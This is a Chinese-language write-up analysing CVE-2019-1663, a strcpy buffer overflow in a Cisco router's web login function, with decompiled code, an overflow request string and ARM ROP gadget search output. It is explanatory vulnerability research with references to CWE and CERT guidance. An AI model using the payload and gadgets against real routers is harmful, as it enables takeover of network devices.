CVE-2019-1663 的二进制分析和漏洞利用,这是 Cisco 路由器 Web 管理中的缓冲区溢出,包括根本原因、漏洞利用步骤和 ROP gadget 发现。
作者: Corentin Wolff
该漏洞源于函数 0x0002BF64,它错误地使用了 strcpy 函数,使其容易遭受缓冲区溢出攻击。为清晰起见,此函数已重命名为 Login。以下代码片段说明了问题:
undefined4 Login(char *param_1, char *param_2, char *param_3, int param_4) { ... }
在此片段中,strcpy 函数被不当使用,导致了缓冲区溢出漏洞:
if (param_4 == 0) {
iVar2 = strncmp(acStack_fa, "enc=", 4);
if (iVar2 != 0) {
strcpy(acStack_15e, acStack_fa);
strcpy(acStack_1c2, param_2);
goto LAB_0002c264;
}
}
代码的此部分检查用户名:
if (iVar2 != 0) {
syslog(6, "Web management login failed, user=%s\n", param_1);
}
参数 param_1 被识别为用户名字段。
类似地,param_2 对应密码,而 param_3 被识别为 httpd_user。
变量 login_flag 表示连接状态:
0 → 登录错误
1 → 管理员登录成功
2 → 管理员登录因现有会话被拒绝
3 → 管理员登录强制登出
该漏洞是由错误使用 strcpy 函数导致的缓冲区溢出。
strcpy 函数不检查源字符串的大小是否超过目标缓冲区的容量。
这允许覆盖相邻的内存区域。
CVE-2019-1663 利用了某些 Cisco 路由器型号在输入大小验证方面的缺失。
a. 无长度检查:未经净化的用户输入被传递给 strcpy。
b. 内存溢出:过量数据覆盖关键内存区域。
c. 任意代码执行:攻击者注入并执行恶意代码。
d. 利用条件:能够访问路由器的 Web 配置服务器。
e. 影响:获得特权访问,从而实现网络间谍、流量重定向、恶意软件安装或后门植入。
&enc=1&user=cisco&pwd=AAAA...AAAAZZZZ&sel_lang=EN
libc.so.0/ELF/ARM)> disasm_address 0x00034410
Instructions
============
0x00034410: pop {r0, pc}
(libc.so.0/ELF/ARM)> disasm_address 0x00041304
Instructions
============
0x00041304: mov r2, r0
(libc.so.0/ELF/ARM)> search %mov r2, r0%
[INFO] Searching for gadgets: %mov r2, r0%
[INFO] File: libc.so.0
0x00041304: mov r2, r0; mov r0, sp; blx r2;
MITRE CWE-120:未检查输入大小的缓冲区拷贝
https://cwe.mitre.org/data/definitions/120.html
MITRE CWE-787:越界写入
https://cwe.mitre.org/data/definitions/787.html
OWASP 缓冲区溢出概述
https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
Microsoft Learn 上的“缓冲区溢出”
https://learn.microsoft.com/en-us/cpp/security/security-best-practices-for-c-cpp
CERT 安全编码标准 - STR31-C
https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator
利用 CVE-2019-1663 - Quentin Kaiser 的解析文章
https://quentinkaiser.be/exploitdev/2019/08/30/exploit-cve-2019-1663